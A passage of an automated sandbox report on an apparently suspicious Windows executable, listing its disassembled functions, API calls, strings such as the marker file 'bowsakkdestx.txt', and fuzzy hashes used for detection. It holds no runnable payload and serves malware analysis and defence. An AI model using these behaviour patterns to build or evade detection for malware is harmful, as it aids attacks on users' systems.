Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(005D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: b6ca082fea440d1ca5cff6801f17e255d65e87a8c4bbbad4e9973a502f76dbd1
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

